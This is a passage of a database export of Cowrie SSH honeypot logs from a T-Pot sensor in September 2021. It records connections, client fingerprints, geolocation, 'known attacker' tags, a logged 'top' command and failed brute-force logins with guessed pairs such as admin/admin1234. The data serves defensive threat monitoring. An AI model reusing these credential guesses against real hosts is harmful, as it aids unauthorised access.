"cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.597862958908081, "duplicate": true, "timestamp": "2021-09-20T11:06:35.310133Z", "@timestamp": "2021-09-20T11:06:35.310Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
21123	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:35.313603+03	2021-09-20 14:15:03.254613+03	{"_id": "VQbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b81e5eaa956b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:35.313603Z", "@timestamp": "2021-09-20T11:06:35.313Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21124	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:35.364842+03	2021-09-20 14:15:03.255613+03	{"_id": "VgbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin1234] failed", "session": "def525b016c4", "@version": "1", "password": "admin1234", "username": "admin", "timestamp": "2021-09-20T11:06:35.364842Z", "@timestamp": "2021-09-20T11:06:35.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21125	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:35.367461+03	2021-09-20 14:15:03.256639+03	{"_id": "VwbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "946e8296b348", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:35.367461Z", "@timestamp": "2021-09-20T11:06:35.367Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21126	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:35.42266+03	2021-09-20 14:15:03.258644+03	{"_id": "WAbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a4b02130aa8b", "@version": "1", "duration": 2.5179359912872314, "timestamp": "2021-09-20T11:06:35.422660Z", "@timestamp": "2021-09-20T11:06:35.422Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21127	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:35.466651+03	2021-09-20 14:15:03.259643+03	{"_id": "WQbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "83eb6cc6c96b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:35.466651Z", "@timestamp": "2021-09-20T11:06:35.466Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21128	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:35.713883+03	2021-09-20 14:15:03.260642+03	{"_id": "WgbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:35.713883Z", "@timestamp": "2021-09-20T11:06:35.713Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
21129	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:35.714418+03	2021-09-20 14:15:03.261642+03	{"_id": "WwbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:35.714418Z", "@timestamp": "2021-09-20T11:06:35.714Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
21130	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:35.716099+03	2021-09-20 14:15:03.262642+03	{"_id": "XAbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b81e5eaa956b", "@version": "1", "timestamp": "2021-09-20T11:06:35.716099Z", "@timestamp": "2021-09-20T11:06:35.716Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21136	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:06:36.035281+03	2021-09-20 14:15:03.269642+03	{"_id": "YgbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "eda904d05d15", "@version": "1", "duration": 5.903388738632202, "timestamp": "2021-09-20T11:06:36.035281Z", "@timestamp": "2021-09-20T11:06:36.035Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21131	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:35.71997+03	2021-09-20 14:15:03.263637+03	{"_id": "XQbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "946e8296b348", "@version": "1", "timestamp": "2021-09-20T11:06:35.719970Z", "@timestamp": "2021-09-20T11:06:35.719Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21132	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:35.722971+03	2021-09-20 14:15:03.265643+03	{"_id": "XgbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5ea87880955a", "@version": "1", "duration": 2.76619029045105, "timestamp": "2021-09-20T11:06:35.722971Z", "@timestamp": "2021-09-20T11:06:35.722Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21133	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:35.747098+03	2021-09-20 14:15:03.266643+03	{"_id": "XwbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "83eb6cc6c96b", "@version": "1", "timestamp": "2021-09-20T11:06:35.747098Z", "@timestamp": "2021-09-20T11:06:35.747Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21134	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:35.797745+03	2021-09-20 14:15:03.267643+03	{"_id": "YAbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "12375781cb9c", "@version": "1", "duration": 2.771024227142334, "timestamp": "2021-09-20T11:06:35.797745Z", "@timestamp": "2021-09-20T11:06:35.797Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21135	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:36.017582+03	2021-09-20 14:15:03.268643+03	{"_id": "YQbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [ghost/ghost] failed", "session": "6c88bc7de748", "@version": "1", "password": "ghost", "username": "ghost", "timestamp": "2021-09-20T11:06:36.017582Z", "@timestamp": "2021-09-20T11:06:36.017Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21137	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:36.069137+03	2021-09-20 14:15:03.271643+03	{"_id": "YwbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7d2bd67868c0", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:36.069137Z", "@timestamp": "2021-09-20T11:06:36.069Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
